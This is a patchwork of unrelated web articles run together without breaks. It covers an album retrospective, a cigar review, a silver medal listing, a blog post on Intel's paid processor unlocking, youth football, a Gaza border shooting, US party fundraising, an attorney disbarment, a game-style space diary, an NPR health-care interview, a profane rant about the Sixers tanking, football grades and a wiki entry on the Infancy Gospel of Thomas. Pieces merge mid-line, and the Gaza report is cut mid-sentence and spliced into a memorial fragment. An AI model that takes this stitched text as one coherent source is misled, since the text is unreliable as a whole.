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In the weeks before the album’s release, Kid Cudi promised that Indicud would be his version of Dr. Dre’s The Chronic 2001, with guest artists taking lead roles in several songs while he produced. This proved to be one of his most interesting and rewarding choices, as the likes of Haim, RZA, and even Michael Bolton are given room to shine over Cudi’s production. Haim in particular stand out on the soaring “Red Eye,” perfectly matching their style to the album’s dreamy aesthetic. Michael Bolton’s appearance on “Afterwards (Bring Yo Friends)” is also as delightfully weird as you would expect it to be, but still stops well short of feeling gimmicky. The unorthodox features, which at first seemed confusing, turned out to be a key asset in expanding the album’s scope and feel without compromising its distinctly Kid Cudi vibe.
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Of course, not all of my initial hesitance about the album has simply disappeared. The strange, buzzing beat of “Mad Solar” continues to sit oddly with me, and I truly find “Unfuckwittable” to be a mess (and perhaps the root cause of many people’s problem with the album as one of its lead tracks). It’s even arguable that some of the initial feelings of discord find their root in Cudi overplaying his hand as a producer and tweaking too much. Nonetheless, Indicud as a project has aged remarkably well, due in large part to the depth and care of Scott’s craftsmanship. From the deep-space echoes of “Just What I Am” to the spitfire rhymes of “Cold Blooded,” the project stands tall in Kid Cudi’s catalog, even in the shadows of the fantastic Man on the Moon series. With today being Indicud’s second anniversary (and with a new Cudi album reportedly on the way soon), what better time to give it another spin?
Chris Mench is a writer living in North Carolina. Follow him @Chris_Mench“Made in the U.S.A.” is a phrase not often associated with premium cigars. But that’s the sort of spirit Walter “Lilo” Santiago wants to bring to his new brand, Crémo Cigars.
When Crémo actually hits the market in early 2012, Santiago will be promoting the fact that the cigars are crafted at the El Titan de Bronze Cigar Factory on Miami’s Calle Ocho. The factory, according to a recent Crémo press release, is “known best for its old-school Cuban entubado techniques, [and] is a family owned and operated ‘fabriquita’ which employs level-nine rollers from Cuba, who have worked for Cohiba, Romeo y Julieta, Corona, and Partagas. These torcedores, like a painter to a canvas, handcraft each cigar with meticulous detail.”
I recently received several samples of Crémo’s inaugural blend—called “Classic”—in the mail from Santiago. Sure enough, along the side of each cream-colored band is the phrase “handcrafted in Little Havana.” But the tobacco within the blend is not American. It is comprised of a Habano wrapper, a Nicaraguan binder, and filler from Nicaragua and the Dominican Republic.
Exclusively blended by Willy Herrera prior to his departure to Drew Estate, Classic will be offered in three vitolas: a corona gorda called Magnum Opus (5.75 x 46), a robusto called Excelsior (5 x 50), and a toro called Intrepidus (6 x 52). The robusto will carry an MSRP of $8 while the other two formats will be priced in the $10-12 range.
The Intrepidus is a pale-looking smoke with a roadmap of thin veins across its otherwise smooth surface. The cap is constructed well, and there’s a moderately soft feel from head to toe. I notice faint pre-light notes of honey and hay as I take a draw before touching fire to the foot.
After establishing an even light, the cigar starts with a dry wood flavor, some coffee, and plenty of Nicaraguan kick. The latter taste, which comes across as a black pepper spice, slowly fades after the first inch, leaving a creamier texture and a more rounded profile. I’d be willing to say the Intrepidus starts fairly full-bodied and transitions to the medium-bodied range rather quickly. That’s where it remains until the end, giving off floral notes and cedar along the way. Construction on the toro is about as close to perfect as you can get.
Santiago tells me Crémo will be introducing a maduro line at the company’s official launch at next summer’s IPCPR Trade Show in Orlando. I look forward to trying that. For now, the Classic Intrepidus has made an impression on me, with all three samples smoking well, yielding complex flavors, and producing aromatic resting smoke. For these reasons, I have no qualms about rating this up-and-coming smoke four and a half stogies out of five.
[To read more StogieGuys.com cigar reviews, please click here.]
–Patrick A
photo credit: Stogie GuysWhy buy this 1 oz Silver 2017 South Korea Chiwoo Cheonwang Medal?
Add some variety to your collection with this 2017 South Korean 1 Troy oz Silver Chiwoo Cheonwang Medal. The medal is only in its second year, which could add to this piece's value over the long-term. It was struck at KOMSCO in South Korea from.999 fine silver, and "KOMSCO" is inscribed on the obverse. Mintage of the medal was capped at 50,000 pieces.
Stunning Chiwoo Cheonwang design
A closeup view of Chiwoo's shield serves as the design on the obverse. The devilish face on it looks directly at the holder. Rim inscriptions include the date, purity, country and unique face value, "1 CLAY." The clay is a unique concept measurement meant to equate the value of silver with a certain amount of land. Created by KOMSCO, it is not a legal tender currency.
Chiwoo Cheonwang, who is the mascot of South Korea's soccer team, the Red Devils, sits on horseback on the reverse. Chiwoo is also the god of war. He is in full body armor and holds a spear and a shield. "CHIWOO CHEONWANG" is inscribed along the rim.
Impeccable Mint State 70 Early Releases
This medal was awarded a perfect grade of Mint State 70 by the Numismatic Guaranty Corporation's (NGC) experts. That grade is only awarded to pieces that are in perfect condition as viewed under 5x magnification. NGC also certified that they received the medal no more than 30 days after its initial Mint release by labeling it an Early Release.
Add this South Korean 2017 1 oz Silver Chiwoo Cheonwang Medal to your collection today!Intel + DRM: a crippled processor that you have to pay extra to unlock
Intel's latest business-model takes a page out of Hollywood's playbook: they're selling processors that have had some of their capabilities crippled (some of the cache and the hyperthreading support are switched off). For $50, they'll sell you a code that will unlock these capabilities. Conceptually, this is similar to the DRM notion that I can sell you a movie that you can watch on one screen for $5 today, and if you want to unlock your receiver's wireless output so you can watch it upstairs, it'll be another $5.
I remember the first time someone from the studios put this position to me. It was a rep from the MPAA at a DRM standards meeting, and that was just the example he used. He said: "When you buy a movie to watch in your living room, we're only selling you the right to see it in your living room. Sending the same show upstairs to watch in your bedroom has value, and if it has value, we should be able to charge money for it."
This idea, which Siva Vaidhyanathan calls "If value, then right," sounds reasonable on its face. But it's a principle that flies in the face of the entire human history of innovation. By this reasoning, the company that makes big tins of juice should be able to charge you extra for the right to use the empty cans to store lugnuts; the company that makes your living room TV should be able to charge more when you retire it to the cottage; the company that makes your coat-hanger should be able to charge more when you unbend it to fish something out from under the dryer.
Moreover, it's an idea that is fundamentally anti-private-property. Under the "If value, then right" theory, you don't own anything you buy. You are a mere licensor, entitled to extract only the value that your vendor has deigned to provide you with. The matchbook is to light birthday candles, not to fix a wobbly table. The toilet roll is to hold the paper, not to use in a craft project. "If value, then right," is a business model that relies on all the innovation taking place in large corporate labs, with none of it happening at the lab in your kitchen, or in your skull. It's a business model that says only companies can have the absolute right of property, and the rest of us are mere tenants.
If there's one industry where "If value, then right," is a dead letter, it's computing. The first processors Intel ever sold went into PCs did practically nothing. It was only the addition of unlicensed, unauthorized, independent third-party innovation -- software, peripherals, networks -- that made them valuable enough to send more business Intel's way.
Intel is a direct beneficiary of our property rights in our computers: the company's best customers are hobbyists who buy Intel processors directly in order to upgrade their PCs. What if Dell asserted "If value, then right," and told its customers that they had only purchased the right to run their PCs as-is, an if they wanted a faster processor, they'd have to pay Dell to unlock this latent value?
One thing remains to be seen: will Intel try to sue people who figure out how to unlock their processors without paying Intel? Under the more exotic interpretations of the US Digital Millennium Copyright Act, showing your neighbor how to unlock her Intel processor is a copyright violation (though a recent court decision went the other way).
Just this week, Intel's spokesman sang the praises of the DMCA's anti-circumvention rules and promised to use them to club down its competitors. Let's hope that this anti-property mania doesn't extend to attempts at shutting down websites that distribute software that let us unlock our own processors.
Intel wants to charge $50 to unlock stuff your CPU can already do
(via /.)
(Image: Engadget/Brian)By the time the knockout stages for the Under-17 World Cup commence next week, its two highest-profile players will not be playing. Jadon Sancho, the England winger who moved from Manchester City to Borussia Dortmund in August for £8m, was allowed to join his national team-mates in India only on the condition that he return to Germany after the group stage. Vinícius Júnior, signed by Real Madrid from Flamengo for an eye-watering £39.6m in the summer before being loaned back to the Brazilian club, was not granted permission to travel to the tournament at all.
Although this may leave England and Brazil weakened and take some of the gloss off the Fifa tournament, it is positive for the development of these players. First-team action at club level is the holy grail for anyone making their way through an academy, and for Sancho in particular, this is exactly why he left Manchester City: Dortmund offered less in wages but more opportunity and a tangible pathway into the first team. Sancho needed only look at the recent careers of Christian Pulisic, Julian Weigl and Alexander Isak – among others – to see that Dortmund keep their word if the talent is there.
Next Generation 2017: 60 of the best young talents in world football Read more
Sancho has yet to make his debut for the German club, partly because of a delay in his registration with the Bundesliga, partly because Dortmund are a world-class team with a wealth of talent at their disposal, but mostly because he is a 17-year-old who has moved to another country with another language and without the safety net of support that most teenagers enjoy at that age.
But he is on the verge. When he signed, Dortmund’s sporting director, Michael Zorc, labelled him “one of the greatest talents in European football” before handing him the No7 shirt vacated by Ousmane Dembélé. In Dortmund’s last game he was named as unused substitute. With Dortmund about to take on a punishing schedule that includes seven games in three weeks after suffering a spate of injuries on Sancho’s preferred left flank – Marco Reus, André Schürrle, Raphaël Guerreiro and Marcel Schmelzer are sidelined – his first-team debut under Peter Bosz seems imminent.
The timing of Sancho’s recall from England looks promising, and his form at the Under-17 World Cup will not have harmed his Dortmund chances. He provided one goal and two assists in the 3-2 win over Mexico on Wednesday to go with the two goals and one assist in the 4-0 win over Chile in the opening match on Sunday. One assist in particular was stunning, cutting in from the left touchline past two Mexico defenders before an inch-perfect pass to his former City team-mate Phil Foden, who brilliantly curled the ball into the corner from the edge of the area.
Steve Cooper, England’s Under-17 head coach, perhaps understandably wants to steer the conversation away from individual performances as as he prepares for the final group game, against Iraq on Saturday, which will decide who wins Group F.
“Jadon is with us for the third group game and we can’t look much further past that,” Cooper says. “We’ve obviously qualified [for the last 16] but we can’t look past the Iraq match. I don’t know the ins and outs of why Jadon has to go back; [the FA’s technical director] Dan Ashworth is dealing with that. My focus is on the World Cup plan.
“I’m going to be boring but we’re very much about the team. One of our ‘controlables’ – as we call them – is team togetherness. It’s easy to see lads score goals and make blocks on the edge of the box but you’ll hear the national coaches talking about national identity – Gareth [Southgate] gets quoted quite a lot about that. Once they come through the doors of St George’s Park, we’re very clear about how we want them to train, prepare, play, take responsibility, behave, represent us.”
Taking responsibility on and off the pitch is a big thing for Cooper. “I am encouraging the players to take ownership, ask the players’ opinion on things: gameplans, opposition analysis, game reviews. So we’ll sit down with the players on Thursday and watch the match and they’ll be telling us what they thought, and how they can get better, and then we’ll facilitate that.
“These are elite players and their understanding of what they need and what they want is quite high. As long as they understand the aims and objectives for each game, we are asking players to take the lead, trying to help them fit into the England DNA. At the end we want players to become senior players and to show leadership and responsibility.”
Facebook Twitter Pinterest Jadon Sancho plays football with young children from the Kolkata Outreach programme for a community activity on Thursday.
Against Mexico this was most evident in England’s No9, Rhian Brewster. The Liverpool striker missed an open goal after six minutes. It was the kind of miss that could shatter a young player’s confidence, especially one who had not yet scored in the tournament. Yet when Mexico conceded a free-kick 25 yards out just before half-time, it was Brewster who put the ball down with authority, curling a beautiful shot over the wall and into the top corner to give England the lead.
Next Generation 2017: 20 of the best talents at Premier League clubs Read more
Brewster is another starting to make an impression on the first team at club level after making a move. He left Chelsea in 2015 “because I didn’t see a pathway to become a first-team player there” and has made huge strides at Liverpool in recent months, so much so that he did not have a match-day suit when he was named on the substitutes’ bench for the trip to Crystal Palace in April.
It has been an unprecedented year for England’s youth teams: the under-17s lost on penalties in the final of the Euros in May (Sancho was named the tournament’s best player), the under-19s won the Euros in July, the under-20s won the World Cup in June and the under-21s reached the semi-final of the Euros in June. Cooper’s side have a chance to add another World Cup in India, and even without Sancho, it appears they have the talent and the mentality to succeed. Beyond the World Cup, each player needs to consider carefully their path to first-team football if they want to have a hope of senior international football.
It is easy to forget how young Brewster, Sancho and Vinícius are, but they believe they are good enough to compete with the best in the Premier League, Bundesliga and beyond. They just need a stage; for now the Under-17 World Cup will have to do.One Palestinian has been killed and at least 10 others have been wounded after Israeli soldiers, stationed at the border line between the Gaza Strip and Israel, opened fire on them, medical sources say.
Health officials said Anwar Qdeih was hit in the head by Israeli gunfire on Friday after he approached the fence that runs between the town of Khan Younis and Israel - an area that Israel has long declared a no-go zone for Palestinians.
"Anwar was trying to put a Hamas flag on the fence," his relative Omar Qdeih, who was at the scene, said.
"The army fired three times into the air... then they shot him in the head," he told Reuters news agency.
The incident happened two days after a truce was agreed between Israel and Hamas, which rules the Gaza Strip, after eight days of cross-border fighting that killed 163 Palestinians and six Israelis.
Sami Abu Zuhri, a Hamas spokesman, said the incident marked a clear violation by Israeli forces of the terms of the truce.
Hamas "will raise this violation with Egyptian mediators to make sure that it does not happen again", he said.
Most of those approaching the fence were young men, the Associated Press news agency reported, but the crowds also included farmers hoping they could check on their farm lands in the buffer zone.
"The occupation forces opened fire on a group of farmers," Adham Abu Selmiya, Gaza emergency service spokesman, said.
A no-go area
Al Jazeera's Nicole Johnston, reporting from Gaza City, said the farmers may have been confused about the current terms of access to the 300-metre wide buffer zone as Wednesday's truce stipulates easing of travel restrictions.
They may have thought |
islaus deputies at the Wall during Police Week, and their grief for you was palpable. I did the only thing I could do at the time which was to give them a big hug.
This reflection is sent with the utmost respect for the dedicated service Deputy Garner gave to his community and the citizens of California and for the supreme sacrifice he and his family made on May 13, 2017.
Phyllis Lasater Loya
mom of fallen Pittsburg Officer Larry Lasater, eow 4/24/05Tom Perez’s swear words aren’t working.
The new chair of the Democratic National Committee recently began cursing — “Republicans don’t give a shit about people” — as a way to fire up the base in his attempt to unify the party against President Trump. But in the three months since the Democratic party elected Perez as DNC chair over Minnesota Rep. Keith Ellison, Perez has struggled to bridge the gap between the establishment and progressive wings of the party.
Perez and the DNC have been especially unsuccessful in convincing their supporters to give the kind of money the RNC has brought in every month. The DNC brought in just $4.7 million in April — less than half of the RNC’s $9.6 million haul over that same time, according to FEC filings submitted by the parties this week. The RNC finished the month with $41.4 million cash on hand, dwarfing the DNC’s $8.8 million in cash on hand.
RNC chairwoman Ronna McDaniel took a victory lap after the numbers showed the RNC again dominating the DNC in the fundraising game. “These numbers are evidence of the overwhelming enthusiasm for President Trump and the tireless work by Republicans everywhere to ensure we work together to build on our majorities and elect Republicans up and down the ballot headed into 2017, 2018, and beyond,” McDaniel said.
Perez, an establishment figure on the left, has been unsuccessful in winning over the party’s left-wing, where many leaders believe the party has drifted too far right.
Throughout his speech at a Democratic convention in California over the weekend, Perez was heckled and interrupted by supporters of Vermont Sen. Bernie Sanders.
One of the groups leading the resistance to Perez was the California Nurses Association, which packed the convention hall decked out in red clothing. The group’s leader, RoseAnn DeMoro criticized the Democratic party for being out of touch with its base.
“They are a party in absolute crisis and denial,” DeMoro told the Sacramento Bee. “They are too comfortable.”
“We are booing because we feel Perez is part of the establishment that keeps co-opting the progressive movement,” protester Gilbert Feliciano told the San Diego Tribune. “The corporatists have an ally with Tom Perez. We felt like it was important to come and voice our discontent.”
The heckling got so bad during Sacramento Mayor Darrell Steinberg’s attempt to speak that the head of the California Democratic Party seized the microphone and told protesters to “shut the fuck up or go outside.”
WATCH:
Single-payer advocates interrupt @Mayor_Steinberg speech at @CA_Dem convention and John Burton steps in pic.twitter.com/mhcHDAdzcQ — Christopher Cadelago (@ccadelago) May 20, 2017
The struggle for Perez isn’t new. The former labor secretary under President Obama faced stiff opposition from the Democratic base while running for DNC chair against Ellison, who was a favorite among many Bernie Sanders supporters. (RELATED: DNC Chair Tom Perez Booed At Reboot Tour)
That struggle continued last month when Perez was repeatedly booed during what was meant to be a national unity tour for the party.
Follow Hasson on Twitter @PeterJHassonHome Daily News Attorney Faces Disbarment for Smuggling Cuban…
Legal Ethics
Attorney Faces Disbarment for Smuggling Cuban Cigars in 1990s
Image from Shutterstock.
Bar authorities in Illinois are seeking the disbarment of a lawyer convicted of smuggling Cuban cigars into the country back in the 1990s.
The recommendation filed by the Illinois Attorney Registration and Disciplinary Commission last week seeks to disbar Richard Steven Connors, who was convicted in 2002 of violating the Trading with the Enemy Act, falsifying his passport and conspiracy, according to the National Law Journal and the IARDC filing.
Connors, who has long denied the charges, saying he made frequent trips because he was engaged to a Cuban woman, was sentenced to 37 months in prison and fined $60,000. But his conviction was upheld by the 7th Circuit in 2006.
In pressing for disbarment, the IARDC asserts in its filing that there’s no doubt Connors’ crimes “involved moral turpitude and reflected adversely on his honesty, truthfulness, and fitness as an attorney.”
According to the 7th Circuit’s ruling, Connors made 31 trips to and from Cuba between 1996 and 1999. The opinion recounts how Connors, after a tip from his ex-wife alerting authorities to his trips, was stopped at the Canadian border with a “trunkload of Cuban cigars.” In four suitcases were 46 boxes of cigars, which could be sold for $350 per box.
Legal Profession Blog in a post Friday pointed to a footnote to a court observation that “Cuban cigars have a definite cachet. The footnote referenced Rudyard Kipling, who noted in “The Betrothed” that, “[A] woman is only a woman, but a good cigar is a Smoke.”I made a bad choice.
Well. To be fair, I think I made a bad choice. I suppose it’s possible that Option B was worse. Dear God, I hope that’s not the case seeing as how I’m heading there next.
From space, Endomar looks beautiful. Covered in blue oceans, swirling clouds… it could almost be a distant cousin of Earth. Very distant. I entertained visions of a lush planet filled with edible, delectable creatures. Me hunting and gathering in leisure. Building jungle forts. Enjoying the exotic sights. A real space-age Robinson Crusoe!
Initial atmospheric spectrometer scans brought those dreams crashing down to reality. Oxygen and chlorophyll levels were far too low to support the type of Defoeian paradise I envisioned. But, with an abundance of water, Endomar still seemed like a good hope.
I maneuvered in, began calculations for entry and burned my way across the sky toward the surface. That’s when I began to realize… in person, Endomar falls far short of her profile pic. As soon as I dipped below the clouds, radiation levels began to spike as sensors sounded alarm. I was running low on fuel and dropping into a toxic wasteland.
There was no going back. I scoured the landscape for a landing site as I descended. The lower the altitude, the more intense the radiation became. I set Falcon down on a rocky peak, as far above sea-level as I could. This moon was far from ideal, but I was going to have to make it work. Quickly. And then get the hell off.
That meant I was going to have to explore my surroundings on foot, find resources I could convert into fuel, gather those resources and bring them back to the ship. Oh, and I’d have to do all of this in one hour expeditions followed by four hours of quarantined decontamination to keep radiation levels at an acceptable level. I had literally descended into hell.
My routine the last few days has been the stuff of nightmares. I put on the bulky exosuit, grab my multitool and pack, and exit Falcon through a series of airlocks. Once outside, I have to navigate a steep decline across loose terrain. Storms are frequent, reducing visibility to a few meters. For thirty minutes I scan rocks, and collect those with the proper isotope readings into my pack. Then I climb back home and start decontamination, process the rocks for fuel, nap for an hour, and then start all over again.
The moon itself is pretty barren. A few small mushrooms and other sparse plant life has managed to adapt to the radiation. Of course, none of it is safe to eat. And those inviting blue waters? They are super-concentrated pools of death. I won’t be refilling any water storages here.
Despite the harsh conditions, there are a few periods (especially at night) where this desolate moon can be quite beautiful. Beautiful and deadly. Endomar is a siren that captured me with her false visage of beauty and temptress’ song.
After a few days, I had gathered enough fuel to power up my thrusters and pulse engine. It had to be enough. The radiation was taking a toll on my ship and equipment. I couldn’t afford staying any longer than necessary.
I spent last night making final preparations for departure. At dawn, I gave Falcon a thorough inspection and said my good-riddances to this God-forsaken place. Desomar Prime, here I come.You better not be as shit as Endomar!American Medical Association Calls Republican Health Care Plan 'Critically Flawed'
Dr. Andrew Gurman, president of the American Medical Association, explains the group's opposition to the Republican Health Care Plan and the bill moving through the House of Representatives.
LAKSHMI SINGH, HOST:
Turning now to Congress. The Republican plan to replace the Affordable Care Act, widely known as Obamacare, has cleared two committees in the House of Representatives. But there's plenty of opposition. The American Medical Association calls the health care proposal critically flawed. So we called Dr. Andrew Gurman. He is the president of the AMA. And I asked him why his group is opposed to the Republican plan.
ANDREW GURMAN: The problems that we have with the bill are that it doesn't comport with some of our basic principles. And those are that people who have insurance shouldn't lose it and people who don't have it should get it. When we look at the numbers, particularly with the subsidies going forward for people to purchase insurance, those who have limited means, we just don't think that those numbers are going to be adequate for people to meaningfully purchase insurance. We know that people who don't have health insurance live sicker and die younger. And as physicians, we think that we're obligated to point that out.
SINGH: But supporters of this current proposal would argue that this goes far in cutting costs across the board when businesses get greater relief under this proposal, young people are not mandated to pay for health care coverage. And therefore, the relief that these particular groups get would actually be felt across the board. Health care costs in general would come down for the overall population. How could this be a bad thing?
GURMAN: Well, having health care costs across the board go down is not a bad thing. But if you're 60 years old and make $20,000 a year, you're not going to have health insurance. You're going to live sicker and die younger. That's a problem.
SINGH: I recall during the debate over the Affordable Care Act, which is widely known as Obamacare, a lot of physicians voiced concerns, protests that life would be a lot tougher for them. And I'm hearing similar arguments for this proposal by congressional Republicans. Can you give me an idea of how this will have a particular impact on physicians compared with how doctors or physicians were affected when Obamacare was passed?
GURMAN: Well, I think change is hard. I think that any piece of legislation that retools a sixth of the U.S. economy is going to require adaptations. And I don't know that doctors are significantly different from the rest of the world in that we don't always like change. But look, Medicare, which was passed 53 years ago, was a transformative piece of legislation. And yet 53 years later, we are still passing laws to tweak it, to make it better.
So to think that something like the Affordable Care Act would be born fully mature and ready to go to medical school is naive. We obviously have some things in it that need to be tweaked, that need to be repaired or changed. And it could be done through a repeal and replace as long as we know what the replace is going to be.
SINGH: You're an orthopedic hand surgeon based in Pennsylvania. What are you most commonly hearing from your patients about the biggest problems they encounter getting or keeping their coverage?
GURMAN: The biggest concern that my patients have right now is large deductible. You know, I see somebody who has an income of $20,000 to $30,000 a year, needs surgery to correct something and has a $6,000 or $7,000 deductible. He essentially doesn't have health insurance. The operation's going to cost less than that. But those are the kinds of things that my patients are concerned about. They're concerned that they are still one significant illness away from bankruptcy.
SINGH: Dr. Andrew Gurman is the president of the American Medical Association. He spoke to us from Altoona, Pa. Dr. Gurman, thanks so much.
GURMAN: Oh, it's my pleasure. Thank you.
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Let's take a step back and look at what the Sixers have accomplished so far this year. After losing 100-75 to a Spurs team that played Tim Duncan, Tony Parker, and Manu Ginobili for a mere 46 combined minutes last night, the Sixers dropped to 0-10 on the season. They have scored 100 points in a game just once, and the 88.5 that they are scoring is the worst mark in the league. Their offensive rating (91.15), which measures points scored per 100 possessions, is also worst in the league, almost seven full points clear of the Milwaukee Bucks. The Oklahoma City Thunder, a team that currently features two cardboard cutouts named Devin Durant and Ross Westbrook in its 10-man rotation, is scoring eight more points per 100 possessions than the Sixers.
The Sixers' current point differential is a staggering -16.9, a mark that will shatter the current single-season record of -15.2, if it holds throughout the year. And what's most ridiculous is that they're losing like this while playing philosophically sound basketball on both ends of the court. This is what a truly bad team looks like: a group of guys who are so terrible at basketball that they have no shot at winning even when playing the right way.
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None of this is happening by accident, of course. For the second straight season, the Sixers are openly tanking in the hopes of securing yet another top pick in the upcoming draft. In the 2014 draft, they spent two top-10 picks on a guy who was going to be out for the entire season with an injury and another who will be stashed in Europe for at least a year. The plan was always to lose as many games as possible in 2014-15.
Which brings us back to Robert Covington. The Sixers did not sign Robert Covington or any of the other undrafted scrubs that populate the roster because they are looking for good basketball players who can help them win basketball games. They signed him because they only have to pay him $816,482 to go out and do things like shoot 1-of-5 from the field in 17 minutes against the San Antonio Spurs. Robert Covington is in Philly to help the Sixers lose.
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Covington isn't the only one. Having already employed nine undrafted players this season, the Sixers are just one more signing away from collecting more undrafted scrubs than any team in history. And wouldn't you know it, they are reportedly interested in signing former Syracuse big man Arinze Onuaku, who went undrafted in 2010.
This is not normal! Teams that end up signing a lot of undrafted players usually do so because they've suffered a ton of injuries and need to scramble to fill the roster, or because their payroll is all tied up in a few big contracts and they can't afford to carry legitimate players at the end of the bench. Neither of these scenarios apply to the Sixers: Jason Richardson and Joel Embiid are the only two major injury casualties they have, and their team payroll is about $20 million shy of the CBA's salary floor.
That gulf between the Sixers' current payroll and the salary floor is the most blatant signifier that the team is unabashedly trying to lose. The CBA stipulates that any team that finishes the season below the salary floor will have to pay the remaining difference as bonuses to whatever players are on the roster. What this means is that the Sixers aren't even signing these shit-ass players because they want to save money—they're going to have to pony up that extra $20 million at the end of the season no matter what—but because they are actively trying to field the worst possible roster.
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This brain-melting display of no-fucks-given is how we end up with guys like Hollis Thompson, Henry Sims, Brandon Davies, and Chris Johnson all playing 20 minutes a night. Fucking JaKarr Sampson is out here getting 11 minutes of run per game.
One might try to defend the Sixers by pointing out that the only difference between them and other teams that tank is their lack of shame. A pro-Sixers argument might go something like this: Other teams have gone through seasons hoping to lose as many games as possible, but they've just been a little more coy about it. And besides, none of this would be happening if it weren't for the draft, which is just an archaic system that's designed principally to dampen young players' earning potential. In a system this broken, full-throttle tanking might actually be the only the only rational response.
This is all true, but it doesn't mean that the Sixers' lack of shame should escape mockery or ridicule. A team can suck its way to a top lottery pick while also employing a few legitimate NBA players who might be able to parlay a decent season on a bad team into a bigger contract next offseason. Instead, those guys have been left to rot overseas or on teams where they can't get playing time while the Sixers give all their money to patsies like Robert Covington.
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The Sixers deserve the scorn of the public, because they aren't so much a basketball team as a monument to the cold, dead-eyed cynicism that so often makes pro sports a huge bummer. They are the bastard children of an Excel spreadsheet, born for the purposes of minimizing risk and maximizing odds. What's even worse is that all the calculating that created this muck is perfectly sensible in a league that still largely rests on the morally cockeyed idea that rookies shouldn't have the right to choose where they want to play or negotiate a fair contract.
Fan satisfaction, entertainment value, and players who need to make a living never even enter into what the Sixers are trying to do, not when there's an extra fraction of a percent to be had. That fraction may turn into a top lottery pick, which may turn into a great NBA player, who may eventually help turn the Sixers into a team worth watching—but all that will have been born out of one of the most grotesque displays of cynicism the NBA will ever see, and it's bullshit.Refocused: Kansas City Chiefs 24, Los Angeles Chargers 10
By PFF Analysis Team • Sep 25, 2017
With QB Philip Rivers throwing three first half interceptions, the Chiefs did not have to work all that hard to score a pair of first quarter touchdowns, one a catch by WR Tyreek Hill and the other a catch by WR Albert Wilson. While Los Angeles would respond with a HB Melvin Gordon touchdown, the Chiefs would enter halftime up 17-10.
The Chargers would fail to score in the second half, while the Chiefs would add a HB Kareem Hunt 69-yard touchdown run to seal the game 24-10. With that, we give you our PFF exclusive takeaways from the contest for each team.
Top 5 Grades:
HB Kareem Hunt, 90.4 overall grade
DI Chris Jones, 87.7 overall grade
CB Marcus Peters, 83.0 overall grade
T Eric Fisher, 82.8 overall grade
EDGE Justin Houston, 82.0 overall grade
Performances of Note:
HB Kareem Hunt, 90.4 overall grade
Hunt looked like the best player on the field and sealed the game with a 69-yard touchdown run late in the fourth quarter. The Chiefs offensive line continued to give Hunt space to find holes and he took advantage, averaging over 10 yards per carry. The rookie gained 67 of his 172 yards after contact, and forced 7 missed tackles on the day.
QB Alex Smith, 73.6 overall grade
Smith wasn’t asked to do much, but delivered when he needed to, including on yet another perfectly placed deep ball on a deep cross to Tyreek Hill in the first quarter. The Chiefs offensive line had spurts where they struggled in pass protection, and Smith carefully took sacks on all 5 of his dropbacks under duress. With a heavy dose of quick game and screens, Smith attempted just 2 passes over 10 yards, but was efficient underneath, completing 83.3 percent of his throws that traveled less than 10 yards.
DI Chris Jones, 87.7 overall grade
It was another week of disruption for Jones, who finished with two quarterback hits on his 27 pass-rushes. Both hits got to Rivers in about two seconds, the first leading to a near-interception that was dropped. Jones also had a number of other wins that didn’t lead to official pressures while also adding a sturdy presence in the run game where he consistently held his gap and disrupted plays.
CB Marcus Peters, 83.0 overall grade
One of the league’s best playmakers, Peters got onto the stat sheet with his first interception of the season while adding a pass breakup that nearly led to another. He showed his usual incredible feel for finding the football, twice peeling off his man to get his hands on an errant Rivers’ pass, one of which was his interception. Overall on the day, Peters was targeted seven times, allowing only three catches for 20 yards.
Top 5 Grades:
C Spencer Pulley, 90.4 overall grade
HB Melvin Gordon, 84.2 overall grade
T Russell Okung, 83.6 overall grade
WR Travis Benjamin, 80.8 overall grade
EDGE Melvin Ingram, 77.6 overall grade
Performances of Note:
QB Philip Rivers, 34.1 overall grade
It was a game where the stats did tell the story, as Rivers finished 20-for-41 for 237 yards and three interceptions, good for a passer rating of only 36.3. He got away with one other dropped interception by CB Marcus Peters as it simply was not Rivers’ day with regard to decision-making or accuracy. Rivers finished with a passer rating of 44.6 from a clean pocket and a rating of 18.8 when pressured.
HB Melvin Gordon, 84.2 overall grade
The Chargers had an efficient running game for much of the afternoon behind Gordon, who showed great vision and quickness in setting up his blocking. After leaving the game with a knee injury, he wasn’t exactly the same, but he finished with three missed tackles forced on his 17 carries while picking up 50 of his 79 yards after contact.
LB Jatavis Brown, 33.7 overall grade
Brown struggled against the run and pass all game long. With numerous unsound fits in the running game, Brown and the Chargers defense struggled, giving up 193 rush yards at 8.0 yards per carry. Brown was targeted 7 times in pass coverage, allowing all 7 to be caught for 72 yards and a touchdown.
EDGE Melvin Ingram, 77.6 overall grade
Ingram was one of the lone bright spots for the Chargers on Sunday, giving fits to T Mitchell Schwartz on a number of plays, including two sacks when lined up across from one another. Ingram finished with three sacks and 4 solo stops.
PFF Game Ball: Kareem Hunt, HB
*Grades are subject to change upon reviewNot to be confused with Gospel of Thomas
The Infancy Gospel of Thomas is a biographical gospel about the childhood of Jesus, believed to date latest to the 2nd century or earlier. It does not form part of the biblical canon in any form of Christianity.
The Infancy Gospel of Thomas is thought to be Gnostic in origin. Later references (by Hippolytus of Rome and Origen of Alexandria) to a "Gospel of Thomas", are more likely to be referring to this Infancy Gospel, than to the wholly different Gospel of Thomas with which it is sometimes confused.[citation needed]
Early Christians regarded the Infancy Gospel of Thomas as inauthentic and heretical. Hipploytus identified it as a fake and a heresy in his Refutation of All Heresies, and his contemporary Origen referred to it in a similar way in a homily written in the early 3rd century. Eusebius rejected it as a heretical "fiction" in the third book of his 4th-century Church History, and Pope Gelasius I included it in his list of heretical books in the 5th century.
While non-canonical in Christianity, the Infancy Gospel of Thomas contains many miracles and stories of Jesus referenced in the Qur'an, like Jesus giving life to clay birds.[1]
Author [ edit ]
The Infancy Gospel of Thomas is a work attributed to "Thomas the Israelite" (in a medieval Latin version).[why?][citation needed] The biblical Thomas (or Judas Thomas, Didymos Judas Thomas, etc.) is very unlikely to have had anything to do with the text. Some scholars believe the initial author was a gentile, and whomever he was, seems to have known little of Jewish life besides what he could learn from the Gospel of Luke, which the text seems to refer to directly in ch. 19; Sabbath and Passover observances are mentioned.
Dating [ edit ]
